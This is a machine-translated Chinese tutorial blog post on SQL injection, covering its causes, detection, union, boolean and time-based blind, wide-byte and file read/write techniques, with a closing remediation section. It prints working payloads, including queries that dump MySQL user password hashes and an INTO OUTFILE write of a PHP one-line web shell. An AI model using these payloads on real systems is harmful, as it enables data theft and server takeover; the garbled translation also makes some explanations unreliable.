当前位置:网站首页>[web vulnerability exploration] SQL injection vulnerability
[web vulnerability exploration] SQL injection vulnerability
2022-07-23 23:05:00 【byzf】
【Web Loophole exploration 】SQL Inject holes
List of articles

One 、 What is? SQL Inject holes
SQL Inject (SQLi) It is a kind of network security vulnerability , Allows an attacker to interfere with an application's query of its database . Through the browser or other clients will be malicious SQL Statement inserted into site parameters , The website application does not filter it ,SQL Statements are brought into the database to make malicious SQL Statement can be executed to view data that is usually not retrievable . This may include data belonging to other users , Or any other data that the application itself can access . in many instances , Attackers can modify or delete these data , This leads to continuous changes in the content or behavior of the application .
In some cases , Attackers can upgrade SQL Inject attacks to destroy the underlying server or other back-end infrastructure or perform denial of service attacks .
Two 、SQL Cause of injection vulnerability
web The page source code does not make any filtering restrictions on the parameters submitted by the user , Direct in SQL Statement to execute , Causes special characters to change SQL The original function and logic of the statement . Hackers exploit this vulnerability to execute malicious SQL sentence , Such as querying data 、 Download data , Write webshell、 Execute system commands to bypass login permission restrictions, etc .
Pass in... By constructing special input as a parameter Web Applications , And most of these inputs are SQL Some combinations in grammar , Through execution SQL Statement to execute the action the attacker wants , The main reason is that the program does not carefully filter the user input data , Causing illegal data to enter the system .
According to relevant technical principles ,SQL Injection can be divided into platform layer injection and code layer injection . The former is caused by insecure database configuration or database platform vulnerability ; The latter is mainly due to the fact that the programmer did not filter the input carefully , Thus, an illegal data query is executed . therefore ,SQL The causes of injection vulnerabilities are usually shown in the following aspects :
- Improper type handling
- Insecure database configuration
- Unreasonable query set processing
- Improper error handling
- Escape character handling is not appropriate
- Multiple submissions handled improperly
3、 ... and 、 Vulnerability exploitation
Judge SQL Injection point
- Put a single quotation mark first
'、 Double quotes"、 Single bracket)、 Double brace))Wait and see if the response reports an error , If there is an error, there may be SQL Inject holes .( If no error is reported , Does not mean that there is no injection , It is possible that the page has filtered single quotation marks , At this time, you can use the judgment statement to inject .) - Add... After the parameter
and 1=1、and 1=2;'and '1'='1、'and '1'='2See if the page shows the same , If the display is different , There must be an injection vulnerability . - Time blind (Timing Attack) test , Sometimes through simple conditional statements such as
and 1=2It's impossible to see the abnormality , You can usesleep()Time blind injection of equal function .
SQL Injection type :
- According to the data type, it can be divided into numerical type 、 Character 、 Search and wide characters
- It can be divided into GET type 、POST type 、Cookie The type and HTTP Request header
- According to the execution effect, it can be divided into error reporting injection 、 Joint query injection 、 Blind note ( be based on bool And time based ) And heap query injection
Digital injection
When the input parameter is an integer , Usually backstage SQL Statement for select * from < Table name > where id = ?, This type can use classic and 1=1 and and 1=2 To judge :
Url Address /test.php?id=1 and 1=1 The page is still working , There may be injection , Continue to the next step .
At this point, backstage SQL Statement for select * from < Table name > where id = 1 and 1=1, The statement is correct and the execution is normal , The returned data does not differ from the original request .
Url Continue to enter... In the address /test.php?id=1 and 1=2 Page running error , That means SQL The injection is digital .
At this point, backstage SQL Statement for select * from < Table name > where id = 1 and 1=2, The statement is correct and the execution is normal , But there is a logical error (1=2 For eternal leave ), So there is a difference from the original request .
In addition, the following fields exist for judgment :
id = 1 and 1=1
id = 1 and 1=2
id = 1 or 1=1
id = '1' or '1'='1'
id=" 1 "or "1"="1"
String Injection
When the input parameter is of character type , Usually backstage SQL Statement for select * from < Table name > where id = '?', This type can use classic and '1'='1 and and '1'='2 To judge :
Url Address http://xxx/abc.php?id= x' and '1'='1 The page is running normally , Continue to the next step .
Url Continue to enter... In the address http://xxx/abc.php?id= x' and '1'='2 Page running error , That means Sql The injection is character type .
Here's why : When the input and '1'='1 when , The background to perform Sql sentence
Url Address /test.php?id=1' and '1'='1 The page is still working , There may be injection , Continue to the next step .
At this point, backstage SQL Statement for select * from < Table name > where id = '1' and '1'='1', The statement is correct and the execution is normal , The returned data does not differ from the original request .
Url Continue to enter... In the address /test.php?id=1' and '1'='2 Page running error , That means SQL The injection is digital .
At this point, backstage SQL Statement for select * from < Table name > where id = '1' and '1'='2', The statement is correct and the execution is normal , But there is a logical error (‘1’='2’ For eternal leave ), So there is a difference from the original request .
Joint query injection
The function of joint query injection is based on the original query conditions , adopt union Splicing select sentence ,union Operators are the key to joint queries , Used to combine two or more select The result set of the statement ; When union Previous select When the statement result set is empty , The query results will be provided by union After select Statement control .
There is echo for the page , Joint query injection is usually used , Joint query statement construction steps :
- Use
order byDetermine the number of columns in the original query statement - Use parameters to set the result of the original query statement to null
- Determine the position of data output
- Use union Statement join the query statement of the target data
When using union queries , The table structure of the two tables must be consistent , Therefore, we need to judge the number of columns in the current table , In addition, you also need to know whether it is character injection or digital injection .
Query all data in the current database :'union select 1,table_name from information_schema.tables where table_schema=database()#
Query the data table under the current database abc All fields of :'union select 1,column_name from information_schema.columns where table_name='abc'#
Query the data table under the current database abc Field of user The data of :'union select 1,user from abc#
Inquire about MySQL Of root User and password hash value :'union select user,authentication_string from mysql.user#
be based on bool Blind note
Boolean blind annotation takes the difference of page echo content as the judgment basis , Return to the page by constructing statements “ really ” and “ false ” To judge the correctness of database information .
The basic steps of extracting data using Boolean blind injection :
- Construct the target data query statement
- Select the splicing method
- Construct a judgment expression
- Extract data length 、 size
- Extract the data content according to the judgment
Common splicing methods are as follows : The original conditions are really and Judge the condition is true , The original condition is false OR Judge whether the condition is true .
be based on bool The blind note usually uses the function length() Return length ,ascii() return ASCII value ,substr(str,a,b) return str With a start , The length is b String ,count() Return quantity .
The following can be returned according to the length , Test the length of the database .
1' and length(database())>3
1' and length(database())<2
Then judge the first character of the database name ASCII Size , Calculate the database name one by one
1' and (ascii(substr(database(),1,1)))>97
// Second character
1' and (ascii(substr(database(),2,1)))>97
1' and (ascii(substr(database(),1,1)))<98
Determine the number of tables in the database 、 Length of table name
1' and (select count(*) from information_schema.tables where table_schema=database())>3
1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5
Time based blind annotation
Blind injection based on time and based on bool The blind note of is very similar , Only time-based blind injection is used regardless of the execution SQL Whether the sentence is correct or not , The page will not give any hints , So I can't use bool Blind note . Time-based blind injection often uses delay function sleep(),if(c,a,b), If c Carry out for real a, Otherwise execution b.
Guess the length of the current database name , If the length is greater than 0 It will delay 5s:1'and if(length(database())>0,sleep(5),0)
if(length(database())>3,sleep(2),0)
1' and if((select count(*) from information_schema.tables where table_schema=database())>3,sleep(3),0)
// Guess the first character of the first data table in the current database ASCII
1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>97,sleep(3),0)
File read and write
When there are display columns , File reading and writing can be used union Inject .
//union Inject read /home/test.txt file
' union select 1,2,load_file("/home/test.txt")
// You can also convert it into 16 Base number 0x2f686f6d652f746573742e747874
' union select 1,2,load_file(0x2f686f6d652f746573742e747874)
// utilize union Inject write a word Trojan into outfile and into dumpfile All right
' union select 1,2,'<?php @eval($_POST[key]);?>' into outfile '/home/test.php'
// Can turn a word Trojan into 16 The form of base
' union select 1,2,0x3c3f70687020406576616c28245f504f53545b6161615d293b3f3e into outfile '/home/test.php'
REGEXP Regular matching
Regular expressions , Also known as regular expression (Regular Expression), A concept of computer science . Regular expressions are often used for retrieval 、 Replace those that match a pattern ( The rules ) The text of .
// lookup name The field contains a perhaps b All data for
select name from admin where table_name regexp 'a|b'
// lookup name The field contains ab, And ab All data preceded by characters (. Match any character )
select name from admin where table_name regexp '.ab'
// lookup name The field contains at or bt or ct All data for
select name from admin where table_name regexp '[abc]t'
// lookup name In the field, use a-z All the data at the beginning
select name from admin where table_name regexp '^[a-z]'
Wide byte Injection
Wide byte injection is caused by different characters in Chinese and English in different codes . Generally speaking , stay GBK In the code , A Chinese character occupies 2 Bytes . And in the UTF-8 In the encoding , A Chinese character occupies 3 Bytes . stay php in , We can input echo strlen(" in ") To test , When it comes to GBK Output when encoding 2, But for UTF-8 Output when encoding 3. except GBK All but ANSI The codes are both Chinese and take up two bytes .
Use of is MySQL A feature of ,MySQL In the use of GBK When coding , I think two characters are a Chinese character , The premise is... Of the previous character ASCII Greater than 128, Only two characters are one Chinese character , So as long as we input data greater than or equal to %81 You can make ' Got out of the way .
Four 、 Repair and prevention
Control access rights
The permissions of ordinary users and system administrator users should be strictly distinguished , Restrict the operation permissions of website users' databases , Provide this user with permissions that only meet their work , In order to minimize harm to the database injection attack .
Control the minimum information return
Avoid displaying database errors directly to users , For example, type error 、 Field mismatch, etc , To prevent attackers from using this error information to make some judgments .
precompile , Force the use of parameterized statements
precompile (PreparedStatement), If you are writing SQL At the time of statement , The variables entered by the user are not directly embedded in SQL sentence . Instead, this variable is passed through parameters , Then it can be effectively prevented SQL Injection attack .
String sql = "select id, no from user where id=?";
PreparedStatement ps = conn.prepareStatement(sql);
ps.setInt(1, id);
ps.executeQuery();
Adopted PreparedStatement precompile , Will be SQL sentence select id, no from user where id=? Precompiled , That is to say SQL The engine will pre parse , Generate the syntax tree and generate the execution plan , The parameters entered later, no matter what you enter , Will not affect the SQL The grammatical structure of a sentence . Because the grammar analysis has been finished , And grammar analysis is mainly analysis SQL command , such as select、from、where、and、or、order by wait .
SQL Injection is only for SQL The compilation of a statement is destructive , and PreparedStatement It's precompiled , In the execution stage, the input string is only treated as data, which is no longer correct SQL Statement parsing .
Enhance the verification of user input
Strict filtering of special characters entered by users , Such as '、"、<、>、/、*、;、+、-、&、|、(、)、and、or、select、union、drop、delete
Strengthen the inspection and verification of user input content , Forcing parameterized statements to pass user input .
stay SQLServer In the database , There are many user input content verification tools , Can help administrators deal with SQL Injection attack . Test the contents of string variables , Accept only the required values . Reject containing binary data 、 The input of escape sequences and comment characters . This helps prevent script injection , Prevent some buffer overflow attacks . Test the size and data type of user input , Enforce appropriate restrictions and conversions . This helps prevent intentional buffer overflows , It has obvious effect on preventing injection attacks .
The security parameters of the database
To reduce injection attacks for SQL Server Adverse effects of databases , stay SQLServer The database is specially designed to be relatively safe SQL Parameters . In the process of database design , Engineers should try to use these parameters to prevent malicious SQL Injection attack .
If in SQL Server The database provides Parameters aggregate . This collection provides the functions of type checking and length verification . If the administrator adopts Parameters This collection , Then the content entered by the user will be treated as character values rather than executable code . Even if the content entered by the user contains executable code , The database will also be filtered . Because at this time, the database only treats it as ordinary characters . Use Parameters Another advantage of collections is that type and length checks can be enforced , Values outside the range will trigger an exception . If the value entered by the user does not conform to the specified type and length constraints , An exception will occur , And report to the administrator .
Multi tier environment validation
In a multi tier application environment , All data entered by the user should be verified before being allowed to enter the trusted area . Data that fails the validation process should be rejected by the database , And return an error message to the upper layer . Realize multi-layer verification . Preventive measures for aimless malicious users , It may not work against a determined attacker .
5、 ... and 、 Common skills
mysql Middle annotator :#、/**/、--
information_schema Three important tables in the database :
information_schema.schemata: Store mysql Name of all databases in the database
information_schema.tables: Store mysql Table names of all data tables in the database
information_schema.columns: Store mysql Column names for all columns in the database
Common query statements
// All database names can be obtained through this statement
select schema_name from information_schema.schemata
// Through this statement, you can get all the data table names
select table_name from information_schema.tables
// Through this statement you can get the specified security All table names in the database
select table_name from information_schema.tables where table_schema='security'
// You can get all the column names through this statement
select column_name from information_schema.columns
// Through this statement, you can get the specified database security Data table in users All the names of
select column_name from information_schema.columns where table_schema='security' and table_name='users'
// Through this statement, you can get the specified data table users Column specified in password The data of ( Can only be database() Data in the database , Because in the current database, you can't query data in other databases )
select password from users
Commonly used functions for obtaining information :
version(): Querying the version of the database
user(): Query database users
database(): database , The current database
system_user(): System user name
session_user(): User name to connect to the database
current_user(): Current user name
load_file(): Read local file
@@datadir: Read database path , Storage directory of database files
@@basedir:mysql The installation path , Database installation directory
@@version_complie_os: Check out the operating system
ascii(str) : Returns the... Of the given character ascii value , If str Is an empty string , return 0; If str yes NULL, return NULL. Such as ascii("a")=97
length(str) : Returns the length of the given string , Such as length("string")=6
substr(string,start,length) : For a given string string, from start Bit start to intercept , Intercept length length , Such as substr("chinese",3,2)="in"
substr()、stbstring()、mid() The use of three functions 、 All functions are the same
concat(username): Will find out username together , Comma separated by default
concat(str1,'*',str2): The string str1 and str2 The data of , Intermediate use * Connect
group_concat(username) : take username Data query together , Connect... With commas
limit 0,1: Query the first 1 Number limit 1,1: Query the first 2 Number limit n,1: Query the first n+1 Number
6、 ... and 、 appendix
Reference link :
https://mp.weixin.qq.com/s/mP49OCkwqSnamtop0cChdQ
https://mp.weixin.qq.com/s/KRCJJdNWXnHW6S_IFXf7sg
https://mp.weixin.qq.com/s/1HKroWrd6p2eM4o7xS3KVw
https://mp.weixin.qq.com/s/-TrJkX4FUUgOFmS42qbUxw
https://mp.weixin.qq.com/s/lcKMzSNsjqjTkwN-omOY4A
https://blog.csdn.net/qq_36119192/article/details/84138312
边栏推荐
- TAP 系列文章8 | TAP 学习中心——通过动手教程来学习
- The role of physical layer, link layer, network layer, transport layer and application layer of tcp/ip model of internet protocol stack
- 砺夏行动|源启数字化:既有模式,还是开源创新?
- [Matplotlib drawing]
- openEuler 资源利用率提升之道 01:概论
- TAP 系列文章6 | TAP的应用模型
- DHCP: prevent rogue DHCP server in the network
- Array - 704. Binary search
- 【Matplotlib绘图】
- Array - 11. Containers with the most water
猜你喜欢

Stm32f4 check the frequency of each part of the system

Internet协议栈 TCP/IP模型 物理层、链路层、网络层、传输层、应用层的作用

TAP 系列文章5 | 云原生构建服务

Series of articles | the way to advance the microservice architecture in the cloud native era - best practices of microservice splitting

Mongodb database + graphical tools download, installation and use
关于电脑端同步到手机端数据

The ultimate experiment of OSPF -- learn the example of OSPF century template

Sword finger offer II 115. reconstruction sequence

Getting started database days3

【音视频技术】视频质量评价 MSU VQMT & Netflix vmaf
随机推荐
Remember an experience of being cheated by the Internet
1000 okaleido tiger launched binance NFT, triggering a rush to buy
海外资深玩家的投资建议(2) 2021-05-03
Use boundschecker "suggestions collection"
Learning MySQL is enough
D1-h development board - Introduction to Nezha development
Tap series article 9 | application development accelerator
二,数字逻辑功能单元
TAP 系列文章5 | 云原生构建服务
Drools (1): introduction to drools
激光雷达点云数据录制的rosbag文件转换成csv文件
13. Roman to integer
Programming in the novel [serial 19] the moon bends in the yuan universe
[C language] address book (static version)
Mongodb database + graphical tools download, installation and use
[audio and video technology] video quality evaluation MSU vqmt & Netflix vmaf
H7-tool serial port offline burning operation instructions, support TTL serial port, RS232 and RS485 (2022-06-30)
Inspiration from Buffett's shareholders' meeting 2021-05-06
Video Number strengthens the fight against vulgar content: the content that violates public order and good customs must be eliminated
As a developer, you have to know the three performance testing tools JMeter, API and jmh user guide